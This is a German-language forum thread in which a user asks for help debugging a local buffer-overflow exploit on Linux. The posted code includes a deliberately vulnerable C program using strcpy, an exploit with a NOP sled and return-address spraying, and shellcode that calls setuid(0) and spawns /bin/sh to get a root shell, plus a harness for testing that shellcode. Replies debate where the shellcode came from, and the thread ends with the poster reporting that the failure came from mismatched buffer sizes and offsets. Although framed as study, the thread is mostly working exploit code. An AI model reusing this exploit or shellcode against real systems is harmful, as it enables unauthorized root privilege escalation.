exploit



  • Ich beschäftige mich jetzt seit ner weile mit exploitprogrammierung,
    kriege es aber einfach nicht hin...
    Kp ob sich hier Jemand damit auskennt, auf jeden fall
    versuch ich ein simples lokales exploit zu schreiben, das das Programm vuln
    angreift und ne Rootshell öffnet... ich wusste nicht genau in welches forum ich
    es stellen sollte, auf jeden fall hab ichs mal nicht in assambler gestellt, da ich weis dass der Shellcode funktioniert. In diesem fall währe mein OS mal Linux...:

    vuln.c

    #include <stdio.h>
    
    int main (int argc, char *argv[])
    {
    	char buffer[1024];
    
    	strcpy(buffer, argv[1]);
    
    	return (0);
    }
    

    exploit.c

    #include <stdlib.h>
    
    char shellcode[] =
    	"\x31\xC0\xB0\x46\x31\xDB\x31\xC9\xCD\x80\xEB\x16\x5B\x31\xC0\x88"
    	"\x43\x07\x89\x5B\x08\x89\x43\x0C\xB0\x0B\x8D\x4B\x08\x8D\x53\x0C"
    	"\xCD\x80\xE8\xE5\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x58\x41"
    	"\x41\x41\x41\x42\x42\x42\x42";
    
    unsigned long sp(void)
    { __asm__("movl %esp, %eax"); }
    
    int main (int argc, char *argv[])
    {
    	int i, offset;
    	long esp, ret, *addr_ptr;
    	char *buffer, *ptr;
    
    	offset = 0;
    	esp = sp();
    	ret = esp - offset;
    
    	printf("ret = 0x%x\n", ret);
    
    	buffer = malloc(1124);
    
    	for(i = 0; i < 1124; i++)
    	{ buffer[i] = '\x90'; }
    
    	ptr = buffer + 200;
    	for(i = 0; i < strlen(shellcode); i++)
    	{ *(ptr++) = shellcode[i]; }
    
    	ptr = buffer;
    	addr_ptr = (long *) ptr;
    	for(i = 1000; i < 1124; i += 4)
    	{ *(addr_ptr++) = ret; }
    
    	buffer[1124-1] = 0;
    
    	execl("./vuln", "vuln", buffer, 0);
    
    	free(buffer);
    
    	return 0;
    }
    

    Wie gesagt, des am Shellcode liegts net,
    den

    char shellcode[] =
    	"\x31\xC0\xB0\x46\x31\xDB\x31\xC9\xCD\x80\xEB\x16\x5B\x31\xC0\x88"
    	"\x43\x07\x89\x5B\x08\x89\x43\x0C\xB0\x0B\x8D\x4B\x08\x8D\x53\x0C"
    	"\xCD\x80\xE8\xE5\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x58\x41"
    	"\x41\x41\x41\x42\x42\x42\x42";
    
    int main (int argc, char *argv[])
    {
    	void (*code) (void);
    	code = (void(*) () ) shellcode;
    	(void)code();
    	return 0;
    }
    

    öffnet ne Shell und wenn ich des exploit starte:

    [root@-[NULL]- test1]# ./exploit
    ret = 0xbfffe0c8
    Speicherzugriffsfehler
    [root@-[NULL]- test1]#

    please help...



  • Sofern du den Exploit nicht zu böswilligen Zwecken sondern aus Studiengründen benutzen willst, so wird das Erfolgserlebnis für dich sicherlich noch größer sein, wenn du es selbst hinbekommst. 😉



  • also (zurzeit) eigendlich zu Studienzwecken, trozdem finde ich einfach keinen
    Fehler... klar wär das Erfolgserlebnis um so größer... aber ich würde es hier nicht posten, wenn ich nicht schon längere zeit nach einer Lösung gesucht hätte 😉



  • woher hast du den shellcode????



  • Selbst geschrieben... (Sucht da ein scriptkiddy seiten? :p)



  • -[NULL]- schrieb:

    Selbst geschrieben...

    Sicher, Dicker 😃

    http://66.249.93.104/search?q=cache:XQoGPjzyuckJ:www.phiral.com/book_code/exploit.c

    EDIT:

    (Sucht da ein scriptkiddy seiten? )

    😮



  • scheint aber nicht exakt der gleiche shellcode zu sein.



  • tipp schrieb:

    scheint aber nicht exakt der gleiche shellcode zu sein.

    Naja, da hängt noch irgendein Gewusel dran. Ansonsten sieht es aber ganz so aus, als haben die Leute zum größten Teil seinen Code geklaut. 😃



  • Jaein... schon ja... sagen wir mal... mit dem code hab ich des Shellcodeschreiben gelernt...

    Also sagen wir mal so... ich hab mir net bloß des

    char shellcode[] =
        "\x31\xC0\xB0\x46\x31\xDB\x31\xC9\xCD\x80\xEB\x16\x5B\x31\xC0\x88"
        "\x43\x07\x89\x5B\x08\x89\x43\x0C\xB0\x0B\x8D\x4B\x08\x8D\x53\x0C"
        "\xCD\x80\xE8\xE5\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x58\x41"
        "\x41\x41\x41\x42\x42\x42\x42";
    

    Aus dem Internet geholt und eingefügt... sondern in Assamber geschrieben und compiliert...

    PS.:
    Das es den im Netz gibt wusst ich net...



  • Hat sich erledigt...

    hab in nem andern Forum antwort gekriegt... lag daran...
    dass ich andere buffergrößen drin hatte...
    und es dadurch mit dem offset nicht mehr funktionierte


Anmelden zum Antworten